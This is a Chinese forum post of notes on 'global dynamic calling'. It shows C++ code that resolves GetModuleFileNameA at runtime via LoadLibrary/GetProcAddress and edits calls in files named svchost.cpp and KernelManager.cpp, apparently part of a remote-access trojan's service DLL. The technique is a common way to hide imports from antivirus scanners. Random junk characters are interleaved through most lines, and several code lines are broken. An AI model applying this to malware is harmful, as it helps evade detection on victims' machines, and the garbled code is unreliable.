[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记0 Z( y2 j' M/ ~/ J3 ]6 Q
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h! Y& t/ w, u0 S7 d5 T
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DTDY.h：
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/ o" g5 \; G* l2 ^0 s3 B1 _- q#if _MSC_VER>1000; s- ?% v( W, E% T& }
#pragma once
0 [: A# F- Y! y, G0 c% P5 e- Z* z#endif //_MSC_VER>1000/ s8 M3 C1 j- f# n1 X$ z4 b, ~
#include<windows.h>
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6 X+ M0 k; T$ e. mtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
* Z5 M5 v3 B! q7 J9 g' C5 cclass DTDY
; f' p4 D4 O; M$ Z$ s# `8 c{
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DTDY();
0 X# f) m7 S6 ?4 E, ovirtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
0 G5 Z; M- `' `" z6 sstatic BOOL FunInitiallization();
7 j9 s8 {( N! s};
. s1 ~( {8 J/ _/ J#endif
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1 P1 L8 T6 I: v" D0 b/ ?DTDY.cpp:) T7 K$ a4 C  r% S6 W9 L5 G! A

; h+ o  S: C/ q: C$ _; x#include "DTDY.h"" ?9 S  t: y9 e3 |( h
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
2 ]; ?* Q! ?, l8 a8 Q7 }DTDY:TDY()% M7 u% a% i/ k0 a/ l8 f2 D
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}
9 T7 `8 S! ?! i( y" D* Q! c7 ?8 FDTDY::~DTDY()
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& R! t* X) \0 R, kBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
. ~$ N2 U- s6 N  s4 uMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
# z" V! P; L( d5 p9 R( e+ yif(!MyGetModuleFileName=) return FALSE;0 ?7 Q7 V# r/ O- y+ o
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return TRUE;% m0 O9 D: ]; H! X6 Q+ P
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% e' J" j: ]  s5 gsvchost.cpp:0 t8 @; p4 d" a+ r* G. b4 e

0 W# |7 O* W% P, x; z% W: U0 w#include "DTDY.h"
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3 c( ?% \3 _* J# bBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)/ D4 Z  O( O, B7 |* h9 A5 s
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case DLL_PROCESS_ATTACH:% W) J9 m# y0 `0 Y* h
if(!DTDY::FunInitiallization()) return FALSE;& Y' O& K2 D; j# x$ |7 X
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break;# U" u; b+ l3 E) }, e, C6 v7 [8 d/ c
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: k$ q. F6 A5 Q- G9 d. c1 IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def% [" ?9 i, }$ u2 k+ ]- I7 X
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# [2 n% u' `2 F
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KernelManager.cpp:/ m$ Y9 f; D) o

; Q+ L" U" K) {#include "../DTDY.h"7 [4 ]0 ^# t8 w) c9 h
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 V6 N/ |0 Z1 I7 G* L; h. f- G
改写为
- f7 G" u6 w* _2 _# eDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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